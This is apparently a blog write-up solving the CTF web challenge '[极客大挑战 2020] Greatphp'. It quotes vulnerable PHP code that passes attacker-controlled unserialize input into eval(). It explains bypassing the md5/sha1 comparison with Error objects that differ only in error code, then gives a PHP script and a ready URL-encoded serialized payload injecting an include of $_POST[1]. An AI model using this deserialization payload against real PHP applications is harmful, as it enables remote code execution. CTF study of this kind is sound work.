【极客大挑战 2020】Greatphp

本文最后更新于:2023年8月25日 下午

[TOC]

[极客大挑战 2020]Greatphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

分析一下知道这是反序列化的题

1
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )

这里需要使md5、sha1值相等,但是两个变量不同

如果是普通变量的话,我们可以选择数组进行绕过。但这里是在类中,我们不能这么做

我们需要知道,md5()、sha1()函数可以触发类的__toString() 方法,这是重点

因此,我们只需要让对象的__toString()返回值相等即可绕过

这里要用到php内置类 : Error、Exception。这两个类都带有__toString()方法

image-20230529113202635

我们测试一下:

1
2
3
4
5
6
<?php

$a = new Exception("A");
$b = new Exception("B");
echo $a.PHP_EOL.PHP_EOL;
echo $b;

image-20230529113334552

发现只有两个地方不同:A、B 和 5、6

A、B我们可以控制传入相同的payload让其相等,但是5、6是什么意思呢—–行号

我们只需要将定义两个异常类对象写在一行即可:

image-20230529113854962

这样乍一看是相等了,但是我们要注意,这样两个对象是相等的:

image-20230529113831194

我们需要了解一下Exception 构造方法的形参有一个异常代码

image-20230529114134470

当我们设置的值不同时,对象也就不同了

image-20230529114225974

由此,我们突破了第一重限制,接下来分析:

1
2
3
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
}

如果我们的 $this->syc 是一个Exception对象的话,由于进行了正则匹配,所以也会触发 __toString()方法

我们不能让payload存在 <?php() " '

但是此时php版本是7,不能用 : <script language="php"></script> 写法

我们可以用:<?= ?> 的格式

这个格式隐含echo<?=1?> 就相当于echo 1

image-20230529120453218

把小括号()过滤了,不能调用函数了,

但是我们可以使用 include 这种不需要括号也能调用的

于是我们可以:

1
?><?=include $_POST[1]?>

构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class SYCLOVER {
public $syc;
public $lover;

public function __construct($syc,$lover) {
$this->syc = $syc;
$this->lover = $lover;
}

}
$str = '?><?=include $_POST[1]?>';
$syc = new Error($str,1);$lover = new Error($str,2);
$s = new SYCLOVER($syc,$lover);
echo urlencode(serialize($s));

O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A24%3A%22%3F%3E%3C%3F%3Dinclude+%24_POST%5B1%5D%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A87%3A%22D%3A%5CApplications%5CCTF%5Cphpstudy_pro%5CWWW%5CCTF%5Cbuuctf%5Cweb4%5C%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98+2020%5DGreatphp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A24%3A%22%3F%3E%3C%3F%3Dinclude+%24_POST%5B1%5D%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A87%3A%22D%3A%5CApplications%5CCTF%5Cphpstudy_pro%5CWWW%5CCTF%5Cbuuctf%5Cweb4%5C%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98+2020%5DGreatphp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

image-20230529121057559


【极客大挑战 2020】Greatphp
https://leekosss.github.io/2023/08/24/[极客大挑战 2020]Greatphp/
作者
leekos
发布于
2023年8月24日
更新于
2023年8月25日
许可协议